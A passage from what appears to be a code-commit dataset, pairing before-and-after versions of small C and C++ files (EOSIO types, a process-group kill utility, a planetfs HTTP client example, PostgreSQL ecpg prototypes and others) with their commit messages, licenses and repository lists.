eyang/protobuf,GreatFruitOmsk/protobuf-py3,svn2github/google-protobuf,GreatFruitOmsk/protobuf-py3,beyang/protobuf,mkrautz/external-protobuf,Distrotech/protobuf
3ddd33207d2bcc0b728cf579519ee8e75279394b
contracts/eosiolib/types.h
contracts/eosiolib/types.h
/** * @file * @copyright defined in eos/LICENSE.txt */ #pragma once #include <stdint.h> #include <wchar.h> #ifdef __cplusplus extern "C" { #endif /** * @defgroup types Builtin Types * @ingroup contractdev * @brief Specifies typedefs and aliases * * @{ */ typedef uint64_t account_name; typedef uint64_t permission_name; typedef uint64_t table_name; typedef uint32_t time; typedef uint64_t action_name; typedef uint16_t weight_type; /* macro to align/overalign a type to ensure calls to intrinsics with pointers/references are properly aligned */ #define ALIGNED(X) __attribute__ ((aligned (16))) X struct public_key { char data[34]; }; struct signature { uint8_t data[66]; }; struct ALIGNED(checksum256) { uint8_t hash[32]; }; struct ALIGNED(checksum160) { uint8_t hash[20]; }; struct ALIGNED(checksum512) { uint8_t hash[64]; }; typedef struct checksum256 transaction_id_type; typedef struct checksum256 block_id_type; struct account_permission { account_name account; permission_name permission; }; #ifdef __cplusplus } /// extern "C" #endif /// @}
/** * @file * @copyright defined in eos/LICENSE.txt */ #pragma once #include <stdint.h> #include <wchar.h> #ifdef __cplusplus extern "C" { #endif /** * @defgroup types Builtin Types * @ingroup contractdev * @brief Specifies typedefs and aliases * * @{ */ typedef uint64_t account_name; typedef uint64_t permission_name; typedef uint64_t table_name; typedef uint32_t time; typedef uint64_t scope_name; typedef uint64_t action_name; typedef uint16_t weight_type; /* macro to align/overalign a type to ensure calls to intrinsics with pointers/references are properly aligned */ #define ALIGNED(X) __attribute__ ((aligned (16))) X struct public_key { char data[34]; }; struct signature { uint8_t data[66]; }; struct ALIGNED(checksum256) { uint8_t hash[32]; }; struct ALIGNED(checksum160) { uint8_t hash[20]; }; struct ALIGNED(checksum512) { uint8_t hash[64]; }; typedef struct checksum256 transaction_id_type; typedef struct checksum256 block_id_type; struct account_permission { account_name account; permission_name permission; }; #ifdef __cplusplus } /// extern "C" #endif /// @}
Add back scope_name used by a few contracts
Add back scope_name used by a few contracts
C
mit
EOSIO/eos,EOSIO/eos,EOSIO/eos,EOSIO/eos,EOSIO/eos
1a364fcb6b59497cb59dcd9fbad00e9569187690
killpgrp.c
killpgrp.c
/* * $Id$ * * Kills all processes belonging to the supplied process group id. * * In the normal case, this allows you to kill a process and any of its * children. */ #include <sys/types.h> #include <signal.h> #include <stdio.h> #include <stdlib.h> void usage() { fprintf(stderr, "Usage: killpgrp <pgid>\n"); } int main(int argc, char **argv) { int pgid; if (argc < 2) { usage(); exit(2); } pgid = atoi(argv[1]); pgid = -pgid; kill(pgid, SIGTERM); exit(0); }
Add a simple program to kill all processes in a process group.
Add a simple program to kill all processes in a process group.
C
apache-2.0
mikelward/scripts,mikelward/scripts,mikelward/scripts
13962476ada094ecc1dd1e272d46237e40fb8448
example/new_http_client.c
example/new_http_client.c
/* * TCP connection sample program * explaining the way to use planetfs */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> void die(const char *prefix) { perror(prefix); exit(EXIT_FAILURE); } int main(int argc, char **argv) { int clone_fd, data_fd, size; char data_file[256], buffer[1024]; const char *clone_file = "/net/tcp/clone", *ctl_request = "connect 74.125.235.240!80", *http_request = "GET /index.html HTTP/1.1\r\n" "Host: www.google.co.jp\r\n" "Connection: close\r\n\r\n"; clone_fd = open(clone_file, O_RDWR); if (clone_fd < 0) die("clone: open"); if (read(clone_fd, buffer, sizeof (buffer)) < 0) die("clone: read"); if (write(clone_fd, ctl_request, strlen(ctl_request)) < 0) die("clone: write"); snprintf(data_file, sizeof (data_file), "/net/tcp/%s/data", buffer); data_fd = open(data_file, O_RDWR); if (data_fd < 0) die("data: open"); /* Send a HTTP request */ if (write(data_fd, http_request, strlen(http_request)) < 0) die("data: write"); /* Receive the response of the remote host */ do { size = read(data_fd, buffer, sizeof (buffer)); if (size < 0) die("data: read"); /* Display the response of the server */ write(STDOUT_FILENO, buffer, size); } while (size != 0); close(data_fd); close(clone_fd); return EXIT_SUCCESS; }
Add a new http client example based on the new style
Add a new http client example based on the new style
C
bsd-2-clause
pfpacket/fuse_planetfs,pfpacket/fuse_planetfs,pfpacket/fuse_planetfs,pfpacket/fuse_planetfs
c2988f448975fa3e9af6ef4f33d725088ebfe568
include/commons/ByteCode.h
include/commons/ByteCode.h
#ifndef BYTECODE_H #define BYTECODE_H #include <iostream> #include <iomanip> using namespace std; enum ByteCode { PUSH = 0, PRINT = 1, END = 2 }; void writeOneOperandCall(ofstream* outStream, ByteCode bytecode, string litteral); void writeSimpleCall(ofstream* outStream, ByteCode bytecode); void writeEnd(ofstream* stream); ByteCode readByteCode(ifstream* stream); template<typename T> std::ostream& binary_write(std::ostream* stream, const T& value){ return stream->write(reinterpret_cast<const char*>(&value), sizeof(T)); } template<typename T> std::istream & binary_read(std::istream* stream, T& value) { return stream->read(reinterpret_cast<char*>(&value), sizeof(T)); } std::ostream& binary_write_string(std::ostream* stream, string value); std::string binary_read_string(std::istream* stream); #endif
#ifndef BYTECODE_H #define BYTECODE_H #include <iostream> #include <iomanip> using namespace std; enum ByteCode { PUSH = 0, PRINT = 1, END = 2 }; /* Write operations */ void writeOneOperandCall(ofstream* outStream, ByteCode bytecode, string litteral); void writeSimpleCall(ofstream* outStream, ByteCode bytecode); void writeEnd(ofstream* stream); void writeLitteral(ofstream* stream, string value); /* Read operations */ ByteCode readByteCode(ifstream* stream); char readConstantType(ifstream* stream); string readLitteral(ifstream* stream); #endif
Use the new designed library
Use the new designed library
C
mit
wichtounet/eddic,vogelsgesang/eddic,wichtounet/eddic,vogelsgesang/eddic,vogelsgesang/eddic,wichtounet/eddic
431473234f6b74f0993986af825785460b9e39e4
include/netpacket/packet.h
include/netpacket/packet.h
/* Definitions for use with Linux AF_PACKET sockets. Copyright (C) 1998, 1999 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA. */ #ifndef __NETPACKET_PACKET_H #define __NETPACKET_PACKET_H 1 struct sockaddr_ll { unsigned short int sll_family; unsigned short int sll_protocol; int sll_ifindex; unsigned short int sll_hatype; unsigned char sll_pkttype; unsigned char sll_halen; unsigned char sll_addr[8]; }; /* Packet types. */ #define PACKET_HOST 0 /* To us. */ #define PACKET_BROADCAST 1 /* To all. */ #define PACKET_MULTICAST 2 /* To group. */ #define PACKET_OTHERHOST 3 /* To someone else. */ #define PACKET_OUTGOING 4 /* Originated by us . */ #define PACKET_LOOPBACK 5 #define PACKET_FASTROUTE 6 /* Packet socket options. */ #define PACKET_ADD_MEMBERSHIP 1 #define PACKET_DROP_MEMBERSHIP 2 #define PACKET_RECV_OUTPUT 3 #define PACKET_RX_RING 5 #define PACKET_STATISTICS 6 struct packet_mreq { int mr_ifindex; unsigned short int mr_type; unsigned short int mr_alen; unsigned char mr_address[8]; }; #define PACKET_MR_MULTICAST 0 #define PACKET_MR_PROMISC 1 #define PACKET_MR_ALLMULTI 2 #endif /* netpacket/packet.h */
Make pump happy. Add in this header. -Erik
Make pump happy. Add in this header. -Erik
C
lgpl-2.1
joel-porquet/tsar-uclibc,joel-porquet/tsar-uclibc,joel-porquet/tsar-uclibc,joel-porquet/tsar-uclibc
2328de89d07a4040d9dc53f9ee75d7794498f204
Apptentive/Apptentive/Misc/ApptentiveSafeCollections.h
Apptentive/Apptentive/Misc/ApptentiveSafeCollections.h
// // ApptentiveSafeCollections.h // Apptentive // // Created by Alex Lementuev on 3/20/17. // Copyright © 2017 Apptentive, Inc. All rights reserved. // #import <Foundation/Foundation.h> NS_ASSUME_NONNULL_BEGIN /** Returns non-nil value or NSNull */ id ApptentiveCollectionValue(id value); /** Safely adds key and value into the dictionary */ void ApptentiveDictionarySetKeyValue(NSMutableDictionary *dictionary, id<NSCopying> key, id value); /** Tries to add nullable value into the dictionary */ BOOL ApptentiveDictionaryTrySetKeyValue(NSMutableDictionary *dictionary, id<NSCopying> key, id value); /** Safely retrieves string from a dictionary (or returns nil if failed) */ NSString *ApptentiveDictionaryGetString(NSDictionary *dictionary, id<NSCopying> key); /** Safely retrieves array from a dictionary (or returns nil if failed) */ NSArray *ApptentiveDictionaryGetArray(NSDictionary *dictionary, id<NSCopying> key); /** Safely adds an object to the array. */ void ApptentiveArrayAddObject(NSMutableArray *array, id object); NS_ASSUME_NONNULL_END
// // ApptentiveSafeCollections.h // Apptentive // // Created by Alex Lementuev on 3/20/17. // Copyright © 2017 Apptentive, Inc. All rights reserved. // #import <Foundation/Foundation.h> NS_ASSUME_NONNULL_BEGIN /** Returns non-nil value or NSNull */ id ApptentiveCollectionValue(id value); /** Safely adds key and value into the dictionary */ void ApptentiveDictionarySetKeyValue(NSMutableDictionary *dictionary, id<NSCopying> key, id value); /** Tries to add nullable value into the dictionary */ BOOL ApptentiveDictionaryTrySetKeyValue(NSMutableDictionary *dictionary, id<NSCopying> key, id value); /** Safely retrieves string from a dictionary (or returns nil if failed) */ NSString * _Nullable ApptentiveDictionaryGetString (NSDictionary *dictionary, id<NSCopying> key); /** Safely retrieves array from a dictionary (or returns nil if failed) */ NSArray * _Nullable ApptentiveDictionaryGetArray(NSDictionary *dictionary, id<NSCopying> key); /** Safely adds an object to the array. */ void ApptentiveArrayAddObject(NSMutableArray *array, id object); NS_ASSUME_NONNULL_END
Add nullable flag to ApptentiveDictionaryGetArray and -String
Add nullable flag to ApptentiveDictionaryGetArray and -String
C
bsd-3-clause
apptentive/apptentive-ios,apptentive/apptentive-ios,apptentive/apptentive-ios
ea0d4f7ad7fdc0852e4874d1dec25837ad6ff50b
samplecode/GMSampleView.h
samplecode/GMSampleView.h
/* * Copyright 2011 Google Inc. * * Use of this source code is governed by a BSD-style license that can be * found in the LICENSE file. */ #ifndef GMSampleView_DEFINED #define GMSampleView_DEFINED #include "SampleCode.h" #include "gm.h" class GMSampleView : public SampleView { private: typedef skiagm::GM GM; public: GMSampleView(GM* gm) : fGM(gm) {} virtual ~GMSampleView() { delete fGM; } protected: virtual bool onQuery(SkEvent* evt) { if (SampleCode::TitleQ(*evt)) { SkString name("GM "); name.append(fGM->shortName()); SampleCode::TitleR(evt, name.c_str()); return true; } return this->INHERITED::onQuery(evt); } virtual void onDrawContent(SkCanvas* canvas) { fGM->drawContent(canvas); } virtual void onDrawBackground(SkCanvas* canvas) { fGM->drawBackground(canvas); } private: GM* fGM; typedef SampleView INHERITED; }; #endif
/* * Copyright 2011 Google Inc. * * Use of this source code is governed by a BSD-style license that can be * found in the LICENSE file. */ #ifndef GMSampleView_DEFINED #define GMSampleView_DEFINED #include "SampleCode.h" #include "gm.h" class GMSampleView : public SampleView { private: typedef skiagm::GM GM; public: GMSampleView(GM* gm) : fGM(gm) {} virtual ~GMSampleView() { delete fGM; } protected: virtual bool onQuery(SkEvent* evt) { if (SampleCode::TitleQ(*evt)) { SkString name("GM:"); name.append(fGM->shortName()); SampleCode::TitleR(evt, name.c_str()); return true; } return this->INHERITED::onQuery(evt); } virtual void onDrawContent(SkCanvas* canvas) { fGM->drawContent(canvas); } virtual void onDrawBackground(SkCanvas* canvas) { fGM->drawBackground(canvas); } private: GM* fGM; typedef SampleView INHERITED; }; #endif
Use : as separator between "GM" and slide name in SampleApp. This makes it easier to jump to a GM slide using command line args on windows.
Use : as separator between "GM" and slide name in SampleApp. This makes it easier to jump to a GM slide using command line args on windows. git-svn-id: e8541e15acce502a64c929015570ad1648e548cd@2846 2bbb7eff-a529-9590-31e7-b0007b416f81
C
bsd-3-clause
Hankuo/color-emoji.skia,MatChung/color-emoji.skia,Frankie-666/color-emoji.skia,hbwhlklive/color-emoji.skia,hbwhlklive/color-emoji.skia,Hankuo/color-emoji.skia,hbwhlklive/color-emoji.skia,hbwhlklive/color-emoji.skia,MatChung/color-emoji.skia,Hankuo/color-emoji.skia,Hankuo/color-emoji.skia,Frankie-666/color-emoji.skia,Frankie-666/color-emoji.skia,MatChung/color-emoji.skia,Hankuo/color-emoji.skia,MatChung/color-emoji.skia,hbwhlklive/color-emoji.skia,Hankuo/color-emoji.skia,hbwhlklive/color-emoji.skia,MatChung/color-emoji.skia,Frankie-666/color-emoji.skia,MatChung/color-emoji.skia,Frankie-666/color-emoji.skia,Frankie-666/color-emoji.skia
f9a134b6e4a6c8fc94e377a8f3af1761645a4569
src/interfaces/ecpg/include/pgtypes_timestamp.h
src/interfaces/ecpg/include/pgtypes_timestamp.h
#ifndef PGTYPES_TIMESTAMP #define PGTYPES_TIMESTAMP #include <pgtypes_interval.h> #ifdef HAVE_INT64_TIMESTAMP typedef int64 timestamp; typedef int64 TimestampTz; #else typedef double timestamp; typedef double TimestampTz; #endif #ifdef __cplusplus extern "C" { #endif extern timestamp PGTYPEStimestamp_from_asc(char *, char **); extern char *PGTYPEStimestamp_to_asc(timestamp); extern int PGTYPEStimestamp_sub(timestamp *, timestamp *, interval *); extern int PGTYPEStimestamp_fmt_asc(timestamp *, char *, int, char *); extern void PGTYPEStimestamp_current(timestamp *); extern int PGTYPEStimestamp_defmt_asc(char *, char *, timestamp *); #ifdef __cplusplus } #endif #endif /* PGTYPES_TIMESTAMP */
#ifndef PGTYPES_TIMESTAMP #define PGTYPES_TIMESTAMP #include <pgtypes_interval.h> #ifdef HAVE_INT64_TIMESTAMP typedef int64 timestamp; typedef int64 TimestampTz; #else typedef double timestamp; typedef double TimestampTz; #endif #ifdef __cplusplus extern "C" { #endif extern timestamp PGTYPEStimestamp_from_asc(char *, char **); extern char *PGTYPEStimestamp_to_asc(timestamp); extern int PGTYPEStimestamp_sub(timestamp *, timestamp *, interval *); extern int PGTYPEStimestamp_fmt_asc(timestamp *, char *, int, char *); extern void PGTYPEStimestamp_current(timestamp *); extern int PGTYPEStimestamp_defmt_asc(char *, char *, timestamp *); extern int PGTYPEStimestamp_add_interval(timestamp *tin, interval *span, timestamp *tout); extern int PGTYPEStimestamp_sub_interval(timestamp *tin, interval *span, timestamp *tout); #ifdef __cplusplus } #endif #endif /* PGTYPES_TIMESTAMP */
Add missing ecpg prototype for newly added functions.
Add missing ecpg prototype for newly added functions.
C
apache-2.0
kaknikhil/gpdb,Chibin/gpdb,Chibin/gpdb,kaknikhil/gpdb,rubikloud/gpdb,lisakowen/gpdb,kaknikhil/gpdb,adam8157/gpdb,arcivanov/postgres-xl,randomtask1155/gpdb,janebeckman/gpdb,foyzur/gpdb,rubikloud/gpdb,jmcatamney/gpdb,janebeckman/gpdb,yuanzhao/gpdb,xuegang/gpdb,ashwinstar/gpdb,Quikling/gpdb,pavanvd/postgres-xl,rvs/gpdb,lintzc/gpdb,postmind-net/postgres-xl,atris/gpdb,cjcjameson/gpdb,Quikling/gpdb,jmcatamney/gpdb,greenplum-db/gpdb,zeroae/postgres-xl,janebeckman/gpdb,lpetrov-pivotal/gpdb,jmcatamney/gpdb,Chibin/gpdb,adam8157/gpdb,janebeckman/gpdb,royc1/gpdb,randomtask1155/gpdb,Quikling/gpdb,snaga/postgres-xl,atris/gpdb,rubikloud/gpdb,0x0FFF/gpdb,rubikloud/gpdb,snaga/postgres-xl,CraigHarris/gpdb,lintzc/gpdb,yuanzhao/gpdb,xuegang/gpdb,oberstet/postgres-xl,0x0FFF/gpdb,Chibin/gpdb,yuanzhao/gpdb,cjcjameson/gpdb,ovr/postgres-xl,kaknikhil/gpdb,royc1/gpdb,cjcjameson/gpdb,kaknikhil/gpdb,tpostgres-projects/tPostgres,chrishajas/gpdb,Quikling/gpdb,rubikloud/gpdb,edespino/gpdb,chrishajas/gpdb,randomtask1155/gpdb,royc1/gpdb,lpetrov-pivotal/gpdb,edespino/gpdb,techdragon/Postgres-XL,xuegang/gpdb,zaksoup/gpdb,0x0FFF/gpdb,ahachete/gpdb,Quikling/gpdb,rvs/gpdb,techdragon/Postgres-XL,kmjungersen/PostgresXL,xuegang/gpdb,tangp3/gpdb,kmjungersen/PostgresXL,rvs/gpdb,lisakowen/gpdb,arcivanov/postgres-xl,yazun/postgres-xl,foyzur/gpdb,zeroae/postgres-xl,xinzweb/gpdb,xinzweb/gpdb,CraigHarris/gpdb,xuegang/gpdb,snaga/postgres-xl,randomtask1155/gpdb,CraigHarris/gpdb,rvs/gpdb,Chibin/gpdb,0x0FFF/gpdb,oberstet/postgres-xl,pavanvd/postgres-xl,Postgres-XL/Postgres-XL,tpostgres-projects/tPostgres,zeroae/postgres-xl,kaknikhil/gpdb,kaknikhil/gpdb,jmcatamney/gpdb,lisakowen/gpdb,tangp3/gpdb,zeroae/postgres-xl,chrishajas/gpdb,cjcjameson/gpdb,cjcjameson/gpdb,lpetrov-pivotal/gpdb,ahachete/gpdb,lisakowen/gpdb,pavanvd/postgres-xl,CraigHarris/gpdb,greenplum-db/gpdb,rubikloud/gpdb,edespino/gpdb,Chibin/gpdb,lintzc/gpdb,yuanzhao/gpdb,Chibin/gpdb,xuegang/gpdb,tpostgres-projects/tPostgres,rvs/gpdb,oberstet/postgres-xl,ovr/postgres-xl,foyzur/gpdb,greenplum-db/gpdb,xuegang/gpdb,0x0FFF/gpdb,xuegang/gpdb,50wu/gpdb,janebeckman/gpdb,adam8157/gpdb,lintzc/gpdb,zaksoup/gpdb,rubikloud/gpdb,xinzweb/gpdb,edespino/gpdb,adam8157/gpdb,atris/gpdb,CraigHarris/gpdb,ahachete/gpdb,edespino/gpdb,chrishajas/gpdb,greenplum-db/gpdb,CraigHarris/gpdb,ashwinstar/gpdb,arcivanov/postgres-xl,kmjungersen/PostgresXL,50wu/gpdb,edespino/gpdb,foyzur/gpdb,atris/gpdb,janebeckman/gpdb,randomtask1155/gpdb,yazun/postgres-xl,ahachete/gpdb,CraigHarris/gpdb,greenplum-db/gpdb,atris/gpdb,yuanzhao/gpdb,greenplum-db/gpdb,royc1/gpdb,royc1/gpdb,50wu/gpdb,lpetrov-pivotal/gpdb,ovr/postgres-xl,Quikling/gpdb,kaknikhil/gpdb,randomtask1155/gpdb,lpetrov-pivotal/gpdb,ashwinstar/gpdb,jmcatamney/gpdb,arcivanov/postgres-xl,zaksoup/gpdb,50wu/gpdb,Quikling/gpdb,foyzur/gpdb,lisakowen/gpdb,cjcjameson/gpdb,janebeckman/gpdb,yuanzhao/gpdb,lintzc/gpdb,postmind-net/postgres-xl,pavanvd/postgres-xl,kmjungersen/PostgresXL,0x0FFF/gpdb,randomtask1155/gpdb,yazun/postgres-xl,edespino/gpdb,postmind-net/postgres-xl,greenplum-db/gpdb,ashwinstar/gpdb,ahachete/gpdb,ahachete/gpdb,0x0FFF/gpdb,lintzc/gpdb,adam8157/gpdb,ashwinstar/gpdb,zaksoup/gpdb,chrishajas/gpdb,yuanzhao/gpdb,adam8157/gpdb,tpostgres-projects/tPostgres,techdragon/Postgres-XL,lpetrov-pivotal/gpdb,chrishajas/gpdb,kmjungersen/PostgresXL,cjcjameson/gpdb,atris/gpdb,Postgres-XL/Postgres-XL,zaksoup/gpdb,lintzc/gpdb,adam8157/gpdb,xinzweb/gpdb,randomtask1155/gpdb,lintzc/gpdb,lisakowen/gpdb,lisakowen/gpdb,xinzweb/gpdb,ahachete/gpdb,zeroae/postgres-xl,royc1/gpdb,cjcjameson/gpdb,yazun/postgres-xl,edespino/gpdb,rvs/gpdb,foyzur/gpdb,rvs/gpdb,kaknikhil/gpdb,rvs/gpdb,atris/gpdb,tangp3/gpdb,lisakowen/gpdb,foyzur/gpdb,50wu/gpdb,tpostgres-projects/tPostgres,ashwinstar/gpdb,techdragon/Postgres-XL,atris/gpdb,xinzweb/gpdb,jmcatamney/gpdb,snaga/postgres-xl,ashwinstar/gpdb,rvs/gpdb,CraigHarris/gpdb,lpetrov-pivotal/gpdb,rubikloud/gpdb,yuanzhao/gpdb,ahachete/gpdb,Postgres-XL/Postgres-XL,chrishajas/gpdb,janebeckman/gpdb,50wu/gpdb,tangp3/gpdb,xuegang/gpdb,zaksoup/gpdb,yazun/postgres-xl,50wu/gpdb,yuanzhao/gpdb,janebeckman/gpdb,janebeckman/gpdb,pavanvd/postgres-xl,snaga/postgres-xl,kaknikhil/gpdb,postmind-net/postgres-xl,postmind-net/postgres-xl,lintzc/gpdb,ovr/postgres-xl,xinzweb/gpdb,greenplum-db/gpdb,Quikling/gpdb,Chibin/gpdb,adam8157/gpdb,jmcatamney/gpdb,cjcjameson/gpdb,foyzur/gpdb,oberstet/postgres-xl,jmcatamney/gpdb,rvs/gpdb,50wu/gpdb,Quikling/gpdb,edespino/gpdb,Postgres-XL/Postgres-XL,Quikling/gpdb,tangp3/gpdb,royc1/gpdb,edespino/gpdb,techdragon/Postgres-XL,xinzweb/gpdb,yuanzhao/gpdb,lpetrov-pivotal/gpdb,zaksoup/gpdb,cjcjameson/gpdb,0x0FFF/gpdb,Chibin/gpdb,Chibin/gpdb,tangp3/gpdb,tangp3/gpdb,arcivanov/postgres-xl,CraigHarris/gpdb,ovr/postgres-xl,royc1/gpdb,chrishajas/gpdb,ashwinstar/gpdb,zaksoup/gpdb,Postgres-XL/Postgres-XL,oberstet/postgres-xl,arcivanov/postgres-xl,tangp3/gpdb
79fadd8f36f90b29386d3dd7d23bae016d4b8671
plat/ti/k3/board/generic/include/board_def.h
plat/ti/k3/board/generic/include/board_def.h
/* * Copyright (c) 2017-2018, ARM Limited and Contributors. All rights reserved. * * SPDX-License-Identifier: BSD-3-Clause */ #ifndef BOARD_DEF_H #define BOARD_DEF_H #include <lib/utils_def.h> /* The ports must be in order and contiguous */ #define K3_CLUSTER0_CORE_COUNT 2 #define K3_CLUSTER1_CORE_COUNT 2 #define K3_CLUSTER2_CORE_COUNT 2 #define K3_CLUSTER3_CORE_COUNT 2 /* * This RAM will be used for the bootloader including code, bss, and stacks. * It may need to be increased if BL31 grows in size. */ #define SEC_SRAM_BASE 0x70000000 /* Base of MSMC SRAM */ #define SEC_SRAM_SIZE 0x00020000 /* 128k */ #define PLAT_MAX_OFF_STATE U(2) #define PLAT_MAX_RET_STATE U(1) #define PLAT_PROC_START_ID 32 #define PLAT_PROC_DEVICE_START_ID 202 #endif /* BOARD_DEF_H */
/* * Copyright (c) 2017-2019, ARM Limited and Contributors. All rights reserved. * * SPDX-License-Identifier: BSD-3-Clause */ #ifndef BOARD_DEF_H #define BOARD_DEF_H #include <lib/utils_def.h> /* The ports must be in order and contiguous */ #define K3_CLUSTER0_CORE_COUNT U(2) #define K3_CLUSTER1_CORE_COUNT U(2) #define K3_CLUSTER2_CORE_COUNT U(2) #define K3_CLUSTER3_CORE_COUNT U(2) /* * This RAM will be used for the bootloader including code, bss, and stacks. * It may need to be increased if BL31 grows in size. */ #define SEC_SRAM_BASE 0x70000000 /* Base of MSMC SRAM */ #define SEC_SRAM_SIZE 0x00020000 /* 128k */ #define PLAT_MAX_OFF_STATE U(2) #define PLAT_MAX_RET_STATE U(1) #define PLAT_PROC_START_ID 32 #define PLAT_PROC_DEVICE_START_ID 202 #endif /* BOARD_DEF_H */
Unify Platform specific defines for PSCI module
ti: Unify Platform specific defines for PSCI module PLATFORM_CORE_COUNT - Unsigned int PLATFORM_CLUSTER_COUNT - Unsigned int PLATFORM_MAX_CPUS_PER_CLUSTER - Unsigned int PLATFORM_CORE_COUNT_PER_CLUSTER - Unsigned int Signed-off-by: Deepika Bhavnani <[email protected]> Change-Id: Ia7072d82116b03904c1b3982f37d96347203e621
C
bsd-3-clause
achingupta/arm-trusted-firmware,achingupta/arm-trusted-firmware
e1333803c3a8fb167ba67ffc5540dbb53fa7deb3
arch/powerpc/kernel/lparmap.c
arch/powerpc/kernel/lparmap.c
/* * Copyright (C) 2005 Stephen Rothwell IBM Corp. * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version * 2 of the License, or (at your option) any later version. */ #include <asm/mmu.h> #include <asm/page.h> #include <asm/iseries/lpar_map.h> const struct LparMap __attribute__((__section__(".text"))) xLparMap = { .xNumberEsids = HvEsidsToMap, .xNumberRanges = HvRangesToMap, .xSegmentTableOffs = STAB0_PAGE, .xEsids = { { .xKernelEsid = GET_ESID(PAGE_OFFSET), .xKernelVsid = KERNEL_VSID(PAGE_OFFSET), }, { .xKernelEsid = GET_ESID(VMALLOC_START), .xKernelVsid = KERNEL_VSID(VMALLOC_START), }, }, .xRanges = { { .xPages = HvPagesToMap, .xOffset = 0, .xVPN = KERNEL_VSID(PAGE_OFFSET) << (SID_SHIFT - HW_PAGE_SHIFT), }, }, };
/* * Copyright (C) 2005 Stephen Rothwell IBM Corp. * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version * 2 of the License, or (at your option) any later version. */ #include <asm/mmu.h> #include <asm/pgtable.h> #include <asm/iseries/lpar_map.h> const struct LparMap __attribute__((__section__(".text"))) xLparMap = { .xNumberEsids = HvEsidsToMap, .xNumberRanges = HvRangesToMap, .xSegmentTableOffs = STAB0_PAGE, .xEsids = { { .xKernelEsid = GET_ESID(PAGE_OFFSET), .xKernelVsid = KERNEL_VSID(PAGE_OFFSET), }, { .xKernelEsid = GET_ESID(VMALLOC_START), .xKernelVsid = KERNEL_VSID(VMALLOC_START), }, }, .xRanges = { { .xPages = HvPagesToMap, .xOffset = 0, .xVPN = KERNEL_VSID(PAGE_OFFSET) << (SID_SHIFT - HW_PAGE_SHIFT), }, }, };
Fix iSeries bug in VMALLOCBASE/VMALLOC_START consolidation
[PATCH] powerpc: Fix iSeries bug in VMALLOCBASE/VMALLOC_START consolidation Oops, forgot to compile the VMALLOCBASE/VMALLOC_START patch on iSeries. VMALLOC_START is defined in pgtable.h whereas previously VMALLOCBASE was previously defined in page.h. lparmap.c needs to be updated appropriately. Booted on iSeries RS64 (now). Signed-off-by: David Gibson <[email protected]> Signed-off-by: Paul Mackerras <[email protected]>
C
apache-2.0
TeamVee-Kanas/android_kernel_samsung_kanas,TeamVee-Kanas/android_kernel_samsung_kanas,KristFoundation/Programs,TeamVee-Kanas/android_kernel_samsung_kanas,KristFoundation/Programs,KristFoundation/Programs,TeamVee-Kanas/android_kernel_samsung_kanas,KristFoundation/Programs,KristFoundation/Programs,TeamVee-Kanas/android_kernel_samsung_kanas,KristFoundation/Programs
ba24c53c1c9e7dea32d2ae4bf6167a1eeb34b036
tomviz/h5cpp/h5capi.h
tomviz/h5cpp/h5capi.h
/* This source file is part of the Tomviz project, https://tomviz.org/. It is released under the 3-Clause BSD License, see "LICENSE". */ #ifndef tomvizH5CAPI_h #define tomvizH5CAPI_h extern "C" { #include <hdf5.h> } #endif // tomvizH5CAPI_h
/* This source file is part of the Tomviz project, https://tomviz.org/. It is released under the 3-Clause BSD License, see "LICENSE". */ #ifndef tomvizH5CAPI_h #define tomvizH5CAPI_h extern "C" { #include <vtk_hdf5.h> } #endif // tomvizH5CAPI_h
Include vtk_hdf5.h rather than hdf5.h
Include vtk_hdf5.h rather than hdf5.h This ensures we pick up the VTK version of HDF5. Signed-off-by: Chris Harris <[email protected]>
C
bsd-3-clause
OpenChemistry/tomviz,OpenChemistry/tomviz,OpenChemistry/tomviz,OpenChemistry/tomviz
e7a20e7f447cb48b55c95aa1d8f94be0b72f8d8c
src/configreader.h
src/configreader.h
#include <map> #include <sstream> #include <string> class ConfigReader { public: ConfigReader(); ConfigReader(const std::string &filename); bool LoadFile(const std::string &filename); template<typename T> T GetOption(const std::string &name, const T &defaultValue) const { std::map<std::string, std::string>::const_iterator it = options_.find(name); if (it == options_.end()) { return defaultValue; } std::stringstream sstream(it->second); T value; sstream >> value; if (!sstream) { return defaultValue; } return value; } bool IsLoaded() const { return loaded_; } private: bool loaded_; std::map<std::string, std::string> options_; };
#include <map> #include <sstream> #include <string> class ConfigReader { public: ConfigReader(); ConfigReader(const std::string &filename); bool LoadFile(const std::string &filename); template<typename T> T GetOption(const std::string &name, const T &defaultValue) const; bool IsLoaded() const { return loaded_; } private: bool loaded_; std::map<std::string, std::string> options_; }; template<typename T> T ConfigReader::GetOption(const std::string &name, const T &defaultValue) const { std::map<std::string, std::string>::const_iterator it = options_.find(name); if (it == options_.end()) { return defaultValue; } std::stringstream sstream(it->second); T value; sstream >> value; if (!sstream) { return defaultValue; } return value; }
Move ConfigReader::GetOption()'s implementation outside of class definition
Move ConfigReader::GetOption()'s implementation outside of class definition
C
bsd-2-clause
Zeex/samp-plugin-profiler,Zeex/samp-plugin-profiler
70c659b68235c4d36dd02c255304523710003884
wangle/ssl/SSLStats.h
wangle/ssl/SSLStats.h
